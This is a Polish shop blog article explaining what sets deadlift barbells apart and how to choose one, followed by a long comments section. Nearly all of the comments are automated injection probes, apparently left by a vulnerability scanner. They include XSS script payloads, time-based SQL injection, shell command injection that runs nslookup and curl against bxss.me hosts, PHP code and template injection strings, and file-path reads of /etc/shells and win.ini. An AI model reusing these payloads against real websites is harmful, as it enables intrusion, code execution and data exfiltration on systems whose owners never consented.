Sztanga do Martwego Ciągu: Wszystko, co Musisz Wiedzieć

Sztanga do Martwego Ciągu: Wszystko, co Musisz Wiedzieć

Posted by

kwi 29TH, 2024

Trening

Sztanga do Martwego Ciągu: Wszystko, co Musisz Wiedzieć

Martwy ciąg to jedno z najbardziej efektywnych ćwiczeń siłowych, które angażuje wiele grup mięśniowych i pomaga budować siłę oraz masę mięśniową. Jednym z kluczowych elementów tego ćwiczenia jest odpowiedni dobór sztangi. W tym artykule odpowiem na wszystkie pytania dotyczące sztangi do martwego ciągu, abyś mógł maksymalizować swoje wyniki i unikać kontuzji.

Czym Różni się Sztanga do Martwego Ciągu od Standardowej Sztangi?

Sztanga do martwego ciągu jest specjalnie zaprojektowana tak, aby ułatwić wykonanie tego ćwiczenia. Charakteryzuje się większą elastycznością, co pozwala na lepsze pochłanianie energii w momencie podnoszenia ciężaru. Jest również nieco dłuższa niż standardowe sztangi, co umożliwia łatwiejsze ustawienie ciała w stosunku do ciężaru i minimalizuje ryzyko kontuzji.

Jakie Są Zalety Używania Sztangi do Martwego Ciągu?

1.Bezpieczeństwo

Dzięki większej elastyczności, sztanga do martwego ciągu zmniejsza obciążenie na dolną część pleców, co jest kluczowe dla zapobiegania urazom.

2.Efektywność

Sztanga zaprojektowana do martwego ciągu pozwala na bardziej naturalne ułożenie dłoni, co przekłada się na większą siłę chwytu i możliwość podnoszenia większych ciężarów.

3.Komfort

Dłuższa długość sztangi przekłada się na dwie ważne kwestie. Po pierwsze, zwiększa możliwość wygięcia się sztangi. Po drugie, możemy załadować większy ciężar.

Jak Wybrać Sztangę do Martwego Ciągu?

Wybór odpowiedniej sztangi zależy od kilku czynników, w tym od Twojego poziomu zaawansowania, częstotliwości treningów i indywidualnych preferencji. Poniżej przedstawiam kluczowe aspekty, na które warto zwrócić uwagę:

1. Materiał

Większość sztang do martwego ciągu jest wykonana ze stali, ale warto zwrócić uwagę na jej jakość. Sztangi z lepszej jakości stali będą bardziej elastyczne i trwałe. Tylko wysokiej jakości stal sprężynowa, będzie zapewniać powrót do idealnej linii.

2.Chwyt

Średnica rękojeści sztangi powinna umożliwiać pewny i komfortowy chwyt. Zbyt gruba rękojeść może utrudniać chwyt, a zbyt cienka być niewygodna. Najlepsza średnica to 27mm.

3.Waga i długość

Waga sztangi w profesjonalnych sztangach jest dokładnie taka sama, jak w sztangach do trójboju siłowego tj. 20kg. Długość standardowa to 230cm, ale zdarzają się również gryfy 240cm (nie jest to sztanga dedykowana na zawody).

FAQ: Najczęściej Zadawane Pytania o Sztangę do Martwego Ciągu

Q1: Czy mogę używać sztangi olimpijskiej do martwego ciągu? Tak, sztanga olimpijska jest odpowiednia do martwego ciągu, jednak specjalistyczna sztanga może oferować dodatkowe korzyści, takie jak lepsza elastyczność i bezpieczeństwo.

Q2: Jakie ćwiczenia mogę wykonywać sztangą do martwego ciągu? Sztanga do martwego ciągu jest idealna nie tylko do martwego ciągu, ale również do innych wariacji podczas wyciskania oraz przysiadu, zastępując tzw. TSUNAMI BAR. Należy jednak upewnić się, że obciążenie jest odpowiednio zabezpieczone i zadbać o asekurację.

Q3: Gdzie mogę kupić sztangę do martwego ciągu? Sztangę do martwego ciągu możecie zakupić w naszym sklepie studiomocy.com - do wyboru jest kilka gryfów. Oryginalny TEXAS DEADLIFT BAR, który możecie spotkać na większości zawodów. Tańsza opcją, ale równie dobrą jest nowa sztanga kalibrowana od STRENGTHSHOP -Calibrated Bastard Deadlift Bar.

Q4: Czy sztanga do martwego ciągu jest droższa od standardowej? Cena sztangi do martwego ciągu może być nieco wyższa ze względu na specjalistyczne zastosowanie i użyte materiały, ale jest to inwestycja, która może się opłacać w dłuższej perspektywie.

Q5: Jak dbać o sztangę do martwego ciągu? Regularne czyszczenie i konserwacja, takie jak smarowanie i ochrona przed korozją, są kluczowe dla zachowania dobrego stanu sztangi. Zalecamy, aby korzystać ze specjalnych szczotek dedykowanych do gryfów.

Mam nadzieję, że ten artykuł rozwiał Twoje wątpliwości dotyczące sztangi do martwego ciągu. Jeśli masz jeszcze jakieś pytania, zapraszam do kontaktu przez formularz kontaktowy lub na nasz e-mail podany na stronie. Chętnie udzielmy Ci wszystkich niezbędnych informacji.

Komentarze

  5. pHqghUme

    15W1YX[!+!]

  6. pHqghUme

    1limMq 3WGH(9112)

  7. pHqghUme

    1}body{zzz:Expre/**/SSion(3WGH(9542))}

  14. pHqghUme

    1<ScRiPt>3WGH(9372)</sCripT>

  17. pHqghUme

    1\u003CScRiPt\3WGH(9529)\u003C/sCripT\u003E

  19. pHqghUme

    %31%3C%53%63%52%69%50%74%20%3E%33%57%47%48%289063%29%3C%2F%73%43%72%69%70%54%3E

  22. pHqghUmeOJOXU[!+!]

    1

  23. pHqghUmeNGeVm 6SHx(9794)

    1

  24. pHqghUme}body{zzz:Expre/**/SSion(6SHx(9387))}

    1

  27. pHqghUmeCNPK2[!+!]

    1

  29. pHqghUmeOKvQu 4upt(9288)

    1

  30. pHqghUme}body{zzz:Expre/**/SSion(4upt(9240))}

    1

  41. pHqghUme<ScRiPt>6SHx(9882)</sCripT>

    1

  44. pHqghUme\u003CScRiPt\6SHx(9430)\u003C/sCripT\u003E

    1

  45. pHqghUme<ScRiPt>4upt(9248)</sCripT>

    1

  48. pHqghUme\u003CScRiPt\4upt(9252)\u003C/sCripT\u003E

    1

  49. pHqghUme

    13WGH(9513)

  50. %70%48%71%67%68%55%6D%65%3C%53%63%52%69%50%74%20%3E%36%53%48%78%289647%29%3C%2F%73%43%72%69%70%54%3E

    1

  51. %70%48%71%67%68%55%6D%65%3C%53%63%52%69%50%74%20%3E%34%75%70%74%289431%29%3C%2F%73%43%72%69%70%54%3E

    1

  61. pHqghUme

    13WGH(9064)

  68. pHqghUme

    13WGH(9653)

  71. pHqghUme

    1XGCPJ[!+!]

  72. pHqghUme

    13WGH(9393)9393

  77. pHqghUme

    13WGH(9761)

  78. pHqghUmeO4VDJ[!+!]

    1

  79. pHqghUme

    1TQbwd VLNr(9829)

  81. pHqghUme

    11KSPJ[!+!]

  82. pHqghUmehjmo3 1nqT(9578)

    1

  83. pHqghUme

    1ZTLA2[!+!]

  84. pHqghUme

    1}body{zzz:Expre/**/SSion(VLNr(9991))}

  86. pHqghUme

    1he6BV pDZl(9368)

  87. pHqghUme}body{zzz:Expre/**/SSion(1nqT(9644))}

    1

  89. pHqghUme

    13WGH(9461)

  90. pHqghUme

    1}body{zzz:Expre/**/SSion(pDZl(9588))}

  92. pHqghUme4upt(9963)

    1

  99. pHqghUme

    "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  103. pHqghUme6SHx(9594)

    1

  105. pHqghUme4upt(9550)

    1

  106. pHqghUme

    dfb__${98991*97996}__::.x

  109. pHqghUme4upt(9918)

    1

  110. pHqghUme6SHx(9679)

    1

  112. pHqghUme4upt(9006)9006

    1

  113. pHqghUme

    dfb[[${98991*97996}]]xca

  115. pHqghUme4upt(9186)

    1

  116. pHqghUmeDY3SN[!+!]

    1

  117. pHqghUme

    1<ScRiPt>VLNr(9153)</sCripT>

  119. pHqghUme<ScRiPt>1nqT(9417)</sCripT>

    1

  120. pHqghUme6SHx(9679)

    1

  121. pHqghUme

    dfb{{98991*97996}}xca

  122. pHqghUme\u003CScRiPt\1nqT(9646)\u003C/sCripT\u003E

    1

  123. pHqghUme

    1\u003CScRiPt\VLNr(9293)\u003C/sCripT\u003E

  125. pHqghUme

    1<ScRiPt>pDZl(9428)</sCripT>

  126. pHqghUme4upt(9815)

    1

  127. pHqghUme

    %31%3C%53%63%52%69%50%74%20%3E%56%4C%4E%72%289065%29%3C%2F%73%43%72%69%70%54%3E

  128. %70%48%71%67%68%55%6D%65%3C%53%63%52%69%50%74%20%3E%31%6E%71%54%289972%29%3C%2F%73%43%72%69%70%54%3E

    1

  129. pHqghUme

    1\u003CScRiPt\pDZl(9374)\u003C/sCripT\u003E

  130. pHqghUme6SHx(9230)9230

    1

  131. pHqghUme

    %31%3C%53%63%52%69%50%74%20%3E%70%44%5A%6C%289142%29%3C%2F%73%43%72%69%70%54%3E

  133. pHqghUme6SHx(9725)

    1

  134. pHqghUme

    1}}"}}'}}1%>"%>'%>

  138. "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

    1

  140. dfb__${98991*97996}__::.x

    1

  142. pHqghUmeBMEW8[!+!]

    1

  147. dfb[[${98991*97996}]]xca

    1

  154. pHqghUme6SHx(9054)

    1

  155. dfb{{98991*97996}}xca

    1

  158. pHqghUme

    bfgx5152??z1??z2a?bcxhjl5152

  159. "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

    1

  160. pHqghUme

    bfg10854＜s1﹥s2ʺs3ʹhjl10854

  165. pHqghUme

    19371583

  166. dfb__${98991*97996}__::.x

    1

  167. pHqghUme1nqT(9844)

    1

  169. 1}}"}}'}}1%>"%>'%>

    1

  171. pHqghUme

    '"()&%3WGH(9807)

  175. dfb[[${98991*97996}]]xca

    1

  176. pHqghUme

    1pDZl(9109)

  179. dfb{{98991*97996}}xca

    1

  180. pHqghUme

    1'"()&%3WGH(9793)

  181. pHqghUme

    1pDZl(9605)

  182. pHqghUme

    1VLNr(9192)

  185. pHqghUme1nqT(9331)

    1

  186. pHqghUme

    1pDZl(9590)

  189. pHqghUme1nqT(9098)

    1

  191. 1}}"}}'}}1%>"%>'%>

    1

  192. pHqghUme

    1VLNr(9889)

  194. pHqghUme1nqT(9223)9223

    1

  195. pHqghUme

    1pDZl(9394)9394

  197. bfgx2321??z1??z2a?bcxhjl2321

    1

  198. pHqghUme

    1pDZl(9053)

  199. pHqghUme

    1VLNr(9423)

  200. pHqghUme1nqT(9890)

    1

  202. bfg2327＜s1﹥s2ʺs3ʹhjl2327

    1

  203. pHqghUme

    1VLNr(9993)9993

  205. pHqghUmeCNXHB[!+!]

    1

  206. pHqghUme

    1IIY0B[!+!]

  207. pHqghUme9557210

    1

  208. pHqghUme

    1VLNr(9677)

  209. '"()&%4upt(9497)

    1

  210. pHqghUme'"()&%4upt(9398)

    1

  211. pHqghUme1nqT(9513)

    1

  212. pHqghUme

    1EG24L[!+!]

  213. pHqghUme

    1pDZl(9029)

  214. bfgx6433??z1??z2a?bcxhjl6433

    1

  215. "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

    1

  216. pHqghUme

    1VLNr(9137)

  217. pHqghUme

    "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  218. dfb__${98991*97996}__::.x

    1

  219. bfg5763＜s1﹥s2ʺs3ʹhjl5763

    1

  220. dfb[[${98991*97996}]]xca

    1

  221. pHqghUme

    "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  222. pHqghUme

    dfb__${98991*97996}__::.x

  223. pHqghUme

    dfb__${98991*97996}__::.x

  224. pHqghUme9228941

    1

  225. dfb{{98991*97996}}xca

    1

  226. pHqghUme

    dfb[[${98991*97996}]]xca

  227. '"()&%6SHx(9303)

    1

  229. pHqghUme

    dfb{{98991*97996}}xca

  230. 1}}"}}'}}1%>"%>'%>

    1

  231. pHqghUme

    dfb[[${98991*97996}]]xca

  233. pHqghUme'"()&%6SHx(9824)

    1

  234. pHqghUme

    dfb{{98991*97996}}xca

  238. pHqghUme

    1}}"}}'}}1%>"%>'%>

  242. pHqghUme

    1}}"}}'}}1%>"%>'%>

  244. bfgx9391??z1??z2a?bcxhjl9391

    1

  247. bfg1852＜s1﹥s2ʺs3ʹhjl1852

    1

  250. pHqghUme9845712

    1

  252. pHqghUme

    bfgx1778??z1??z2a?bcxhjl1778

  253. '"()&%1nqT(9551)

    1

  255. pHqghUme'"()&%1nqT(9410)

    1

  256. pHqghUme

    bfg2997＜s1﹥s2ʺs3ʹhjl2997

  257. pHqghUme

    bfgx3609??z1??z2a?bcxhjl3609

  258. pHqghUme

    bfg9952＜s1﹥s2ʺs3ʹhjl9952

  259. pHqghUme

    19699657

  260. pHqghUme

    19196850

  261. pHqghUme

    '"()&%VLNr(9271)

  262. pHqghUme

    '"()&%pDZl(9035)

  263. pHqghUme

    1'"()&%VLNr(9063)

  264. pHqghUme

    1'"()&%pDZl(9018)

  276. pHqghUmeHJEUR[!+!]

    1

  277. pHqghUmeSduEZ Z8qr(9165)

    1

  278. pHqghUme}body{zzz:Expre/**/SSion(Z8qr(9645))}

    1

  287. pHqghUme<ScRiPt>Z8qr(9787)</sCripT>

    1

  288. pHqghUme

    1W3NUC[!+!]

  289. pHqghUme\u003CScRiPt\Z8qr(9963)\u003C/sCripT\u003E

    1

  290. pHqghUme

    14O5m7 3wgl(9708)

  291. pHqghUme

    1}body{zzz:Expre/**/SSion(3wgl(9669))}

  292. %70%48%71%67%68%55%6D%65%3C%53%63%52%69%50%74%20%3E%5A%38%71%72%289152%29%3C%2F%73%43%72%69%70%54%3E

    1

  300. pHqghUme

    1<ScRiPt>3wgl(9243)</sCripT>

  302. pHqghUme

    1\u003CScRiPt\3wgl(9426)\u003C/sCripT\u003E

  304. pHqghUme

    %31%3C%53%63%52%69%50%74%20%3E%33%77%67%6C%289355%29%3C%2F%73%43%72%69%70%54%3E

  308. pHqghUmeZ8qr(9920)

    1

  313. pHqghUmeZ8qr(9204)

    1

  314. pHqghUmeZ8qr(9635)

    1

  316. pHqghUmeZ8qr(9118)9118

    1

  318. pHqghUmeZ8qr(9741)

    1

  320. pHqghUme

    13wgl(9503)

  321. pHqghUmeOC89Z[!+!]

    1

  323. pHqghUmeZ8qr(9403)

    1

  324. pHqghUme

    13wgl(9378)

  325. pHqghUme

    13wgl(9679)

  326. "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

    1

  327. pHqghUme

    13wgl(9711)9711

  328. dfb__${98991*97996}__::.x

    1

  329. pHqghUme

    13wgl(9768)

  330. pHqghUme

    1IWTLS[!+!]

  331. dfb[[${98991*97996}]]xca

    1

  332. dfb{{98991*97996}}xca

    1

  333. pHqghUme

    13wgl(9874)

  334. pHqghUme

    "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  336. pHqghUme

    dfb__${98991*97996}__::.x

  337. 1}}"}}'}}1%>"%>'%>

    1

  338. pHqghUme

    dfb[[${98991*97996}]]xca

  339. pHqghUme

    dfb{{98991*97996}}xca

  343. pHqghUme

    1}}"}}'}}1%>"%>'%>

  348. bfgx10046??z1??z2a?bcxhjl10046

    1

  350. bfg1295＜s1﹥s2ʺs3ʹhjl1295

    1

  352. pHqghUme

    bfgx1563??z1??z2a?bcxhjl1563

  353. pHqghUme9472773

    1

  354. pHqghUme

    bfg3172＜s1﹥s2ʺs3ʹhjl3172

  355. pHqghUme

    19872341

  356. '"()&%Z8qr(9283)

    1

  357. pHqghUme

    '"()&%3wgl(9782)

  358. pHqghUme'"()&%Z8qr(9590)

    1

  359. pHqghUme

    1'"()&%3wgl(9186)

  384. pHqghUme????%2527%2522\'\"

    1

  385. pHqghUme'"

    1

  387. pHqghUme'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

    1

  388. pHqghUme0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

    1

  389. pHqghUme0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

    1

  390. if(now()=sysdate(),sleep(15),0)

    1

  391. -1 OR 3+130-130-1=0+0+0+1

    1

  392. -1 OR 2+130-130-1=0+0+0+1

    1

  393. -1 OR 3+992-992-1=0+0+0+1 --

    1

  394. -1 OR 2+992-992-1=0+0+0+1 --

    1

  419. pHqghUme

    @@Q22T6

  420. pHqghUme

    1????%2527%2522\'\"

  421. pHqghUme

    1'"

  423. pHqghUme

    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  424. pHqghUme

    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  426. pHqghUme

    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

  427. pHqghUme

    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

  434. pHqghUmeH3CH5[!+!]

    1

  435. pHqghUme

    1*if(now()=sysdate(),sleep(15),0)

  436. pHqghUmeuZN3(9937)

    1

  437. "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

    1

  438. dfb__${98991*97996}__::.x

    1

  439. dfb[[${98991*97996}]]xca

    1

  440. dfb{{98991*97996}}xca

    1

  441. 1}}"}}'}}1%>"%>'%>

    1

  444. bfgx9198??z1??z2a?bcxhjl9198

    1

  445. bfg5526＜s1﹥s2ʺs3ʹhjl5526

    1

  446. pHqghUme9083935

    1

  447. '"()&%uZN3(9072)

    1

  448. pHqghUme'"()&%uZN3(9862)

    1

  453. pHqghUme

    -1 OR 3+607-607-1=0+0+0+1

  455. pHqghUme

    -1 OR 2+607-607-1=0+0+0+1

  457. pHqghUme

    -1 OR 3+485-485-1=0+0+0+1 --

  459. pHqghUme

    -1 OR 2+485-485-1=0+0+0+1 --

  554. ;(nslookup -q=cname hitteojhklpkmd606c.bxss.me||curl hitteojhklpkmd606c.bxss.me)|(nslookup -q=cname hitteojhklpkmd606c.bxss.me||curl hitteojhklpkmd606c.bxss.me)&(nslookup -q=cname hitteojhklpkmd606c.bxss.me||curl hitteojhklpkmd606c.bxss.me)

    1

  555. `(nslookup -q=cname hitqbehpsfuif5d8b2.bxss.me||curl hitqbehpsfuif5d8b2.bxss.me)`

    1

  557. |(nslookup -q=cname hitojevzwsvrg569c7.bxss.me||curl hitojevzwsvrg569c7.bxss.me)

    1

  558. &(nslookup -q=cname hitubnddqajgy6038a.bxss.me||curl hitubnddqajgy6038a.bxss.me)&'\"`0&(nslookup -q=cname hitubnddqajgy6038a.bxss.me||curl hitubnddqajgy6038a.bxss.me)&`'

    1

  559. &nslookup -q=cname hitlueqhyvbire117f.bxss.me&'\"`0&nslookup -q=cname hitlueqhyvbire117f.bxss.me&`'

    1

  560. $(nslookup -q=cname hitzntxcrhnei2d27c.bxss.me||curl hitzntxcrhnei2d27c.bxss.me)

    1

  561. (nslookup -q=cname hitzjdbvzbeaj6a61f.bxss.me||curl hitzjdbvzbeaj6a61f.bxss.me))

    1

  562. expr 9000889054 - 966549

    1

  563. pHqghUme|echo gdfluq$()\ rrddbx\nz^xyu||a #' |echo gdfluq$()\ rrddbx\nz^xyu||a #|" |echo gdfluq$()\ rrddbx\nz^xyu||a #

    1

  564. |echo adafwg$()\ mzuyay\nz^xyu||a #' |echo adafwg$()\ mzuyay\nz^xyu||a #|" |echo adafwg$()\ mzuyay\nz^xyu||a #

    1

  566. pHqghUme&echo mzahjr$()\ firsls\nz^xyu||a #' &echo mzahjr$()\ firsls\nz^xyu||a #|" &echo mzahjr$()\ firsls\nz^xyu||a #

    1

  567. &echo gqzubs$()\ tkkhiq\nz^xyu||a #' &echo gqzubs$()\ tkkhiq\nz^xyu||a #|" &echo gqzubs$()\ tkkhiq\nz^xyu||a #

    1

  568. echo hbgmai$()\ bbfgpz\nz^xyu||a #' &echo hbgmai$()\ bbfgpz\nz^xyu||a #|" &echo hbgmai$()\ bbfgpz\nz^xyu||a #

    1

  589. '.print(md5(31337)).'

    1

  595. ${@print(md5(31337))}\

    1

  599. ${@print(md5(31337))}

    1

  604. ";print(md5(31337));$a="

    1

  612. ';print(md5(31337));$a='

    1

  616. ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

    1

  619. pHqghUme

    1PHIT6[!+!]

  621. ajax.php/.

    1

  624. pHqghUme

    1uZN3(9281)

  629. pHqghUme

    "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  633. pHqghUme

    dfb__${98991*97996}__::.x

  643. pHqghUme

    dfb[[${98991*97996}]]xca

  646. pHqghUme

    dfb{{98991*97996}}xca

  655. pHqghUme

    1}}"}}'}}1%>"%>'%>

  665. c:/windows/win.ini

    1

  671. 'A'.concat(70-3).concat(22*4).concat(109).concat(75).concat(118).concat(87)+(require'socket' Socket.gethostbyname('hitdh'+'jzmuirjg518af.bxss.me.')[3].to_s)

    1

  673. /etc/shells

    1

  675. '+'A'.concat(70-3).concat(22*4).concat(107).concat(71).concat(112).concat(86)+(require'socket' Socket.gethostbyname('hitmz'+'wtpvjejxdf900.bxss.me.')[3].to_s)+'

    1

  676. pHqghUme

    bfgx5797??z1??z2a?bcxhjl5797

  679. http://bxss.me/t/fit.txt?.jpg

    1

  681. pHqghUme

    bfg2124＜s1﹥s2ʺs3ʹhjl2124

  682. pHqghUme"||sleep(27*1000)*dfeyrz||"

    1

  685. Http://bxss.me/t/fit.txt

    1

  688. pHqghUme'||sleep(27*1000)*goezlv||'

    1

  689. "+"A".concat(70-3).concat(22*4).concat(99).concat(84).concat(107).concat(88)+(require"socket" Socket.gethostbyname("hitzb"+"ymeudjrb01bb3.bxss.me.")[3].to_s)+"

    1

  691. 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

    1

  692. pHqghUme

    19532435

  693. pHqghUme"&&sleep(27*1000)*mosvtc&&"

    1

  695. http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

    1

  697. pHqghUme

    '"()&%uZN3(9865)

  698. pHqghUme

    '"

  699. pHqghUme

    1'"()&%uZN3(9786)

  702. pHqghUme'&&sleep(27*1000)*ncewou&&'

    1

  703. pHqghUme

    ajax.php/.

  709. pHqghUme

    ajax.php

  721. gethostbyname(lc('hitca'.'djumkhindf753.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(83).chr(110).chr(88)

    1

  722. pHqghUme

    ajax.php

  724. ".gethostbyname(lc("hittw"."efnmpopx9e6f9.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(66).chr(115).chr(83)."

    1

  727. pHqghUme

    '.print(md5(31337)).'

  728. '.gethostbyname(lc('hitmd'.'srugewqse1c1d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(72).chr(111).chr(71).'

    1

  732. pHqghUme

    'A'.concat(70-3).concat(22*4).concat(105).concat(71).concat(109).concat(81)+(require'socket' Socket.gethostbyname('hitpz'+'jjxgxiun2406f.bxss.me.')[3].to_s)

  733. ^(#$!@#$)(()))******

    1

  734. pHqghUme

    ${@print(md5(31337))}\

  738. pHqghUme

    '+'A'.concat(70-3).concat(22*4).concat(112).concat(69).concat(99).concat(81)+(require'socket' Socket.gethostbyname('hitkl'+'opdbvtuoaed69.bxss.me.')[3].to_s)+'

  739. !(()&&!|*|*|

    1

  740. pHqghUme

    "+"A".concat(70-3).concat(22*4).concat(115).concat(79).concat(105).concat(65)+(require"socket" Socket.gethostbyname("hitni"+"nbdcxhau65704.bxss.me.")[3].to_s)+"

  742. pHqghUme

    ${@print(md5(31337))}

  747. pHqghUme

    ";print(md5(31337));$a="

  752. pHqghUme

    ';print(md5(31337));$a='

  756. pHqghUme

    ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  769. pHqghUme

    ;(nslookup -q=cname hitmjoiwumere90084.bxss.me||curl hitmjoiwumere90084.bxss.me)|(nslookup -q=cname hitmjoiwumere90084.bxss.me||curl hitmjoiwumere90084.bxss.me)&(nslookup -q=cname hitmjoiwumere90084.bxss.me||curl hitmjoiwumere90084.bxss.me)

  772. pHqghUme

    `(nslookup -q=cname hitvivjrqqxtb64880.bxss.me||curl hitvivjrqqxtb64880.bxss.me)`

  773. pHqghUme

    1"||sleep(27*1000)*ghojiv||"

  776. ../pHqghUme

    1

  777. pHqghUme

    1'||sleep(27*1000)*nztgpl||'

  779. pHqghUme

    gethostbyname(lc('hithb'.'lzracdtp0b8d4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(65).chr(121).chr(72)

  780. pHqghUme

    ^(#$!@#$)(()))******

  782. pHqghUme

    |(nslookup -q=cname hitmdzoadjjyg1f572.bxss.me||curl hitmdzoadjjyg1f572.bxss.me)

  785. pHqghUme

    1"&&sleep(27*1000)*rokatn&&"

  787. pHqghUme

    ".gethostbyname(lc("hitlk"."azuzfjind8221.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(78).chr(118).chr(82)."

  788. pHqghUme

    !(()&&!|*|*|

  789. pHqghUme

    &(nslookup -q=cname hitdawrbubple0d138.bxss.me||curl hitdawrbubple0d138.bxss.me)&'\"`0&(nslookup -q=cname hitdawrbubple0d138.bxss.me||curl hitdawrbubple0d138.bxss.me)&`'

  790. pHqghUme

    1'&&sleep(27*1000)*dxcfit&&'

  792. pHqghUme

    &nslookup -q=cname hitadzbjzdyff125aa.bxss.me&'\"`0&nslookup -q=cname hitadzbjzdyff125aa.bxss.me&`'

  793. pHqghUme

    '"()

  794. pHqghUme

    '.gethostbyname(lc('hitog'.'umzzqhtq92537.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(85).chr(114).chr(80).'

  796. redirtest.acx

    1

  797. pHqghUme

    $(nslookup -q=cname hitymdszxwwxc36e9f.bxss.me||curl hitymdszxwwxc36e9f.bxss.me)

  798. 12345'"\'\");|]*{ ?''?

    1

  802. pHqghUme

    bxss.me

  804. pHqghUme

    c:/windows/win.ini

  808. pHqghUme

    (nslookup -q=cname hitnptifqvnsf6ca0b.bxss.me||curl hitnptifqvnsf6ca0b.bxss.me))

  811. pHqghUme

    expr 9000449535 - 933685

  813. pHqghUme

    /etc/shells

  817. pHqghUme

    redirtest.acx

  819. pHqghUme

    1|echo czkzwr$()\ ofmhmn\nz^xyu||a #' |echo czkzwr$()\ ofmhmn\nz^xyu||a #|" |echo czkzwr$()\ ofmhmn\nz^xyu||a #

  821. pHqghUme

    http://bxss.me/t/fit.txt?.jpg

  827. pHqghUme

    |echo jwjuyu$()\ kuuugb\nz^xyu||a #' |echo jwjuyu$()\ kuuugb\nz^xyu||a #|" |echo jwjuyu$()\ kuuugb\nz^xyu||a #

  830. pHqghUme

    1&echo vgcmdr$()\ vjryjw\nz^xyu||a #' &echo vgcmdr$()\ vjryjw\nz^xyu||a #|" &echo vgcmdr$()\ vjryjw\nz^xyu||a #

  834. pHqghUme

    Http://bxss.me/t/fit.txt

  836. RU1WaHBnTGE=

    1

  837. pHqghUme

    1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  845. pHqghUme

    http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

  847. pHqghUme

    &echo ijaeea$()\ lmdbbd\nz^xyu||a #' &echo ijaeea$()\ lmdbbd\nz^xyu||a #|" &echo ijaeea$()\ lmdbbd\nz^xyu||a #

  852. ${9999978+9999411}

    1

  853. pHqghUme

    echo juaoiy$()\ rtojqm\nz^xyu||a #' &echo juaoiy$()\ rtojqm\nz^xyu||a #|" &echo juaoiy$()\ rtojqm\nz^xyu||a #

  857. "+response.write(9940745*9208053)+"

    1

  859. '+response.write(9940745*9208053)+'

    1

  861. response.write(9940745*9208053)

    1

  865. pHqghUme

    ${9999042+9999093}

  866. pHqghUme

    12345'"\'\");|]*{ ?''?

  870. pHqghUme

    ../1

  871. 1Z3XH23S60

    1

  888. pHqghUme

    "+response.write(9243735*9007284)+"

  889. pHqghUme

    '+response.write(9243735*9007284)+'

  890. pHqghUme

    1BG797SK2L0

  891. pHqghUme

    response.write(9243735*9007284)

Zostaw komentarz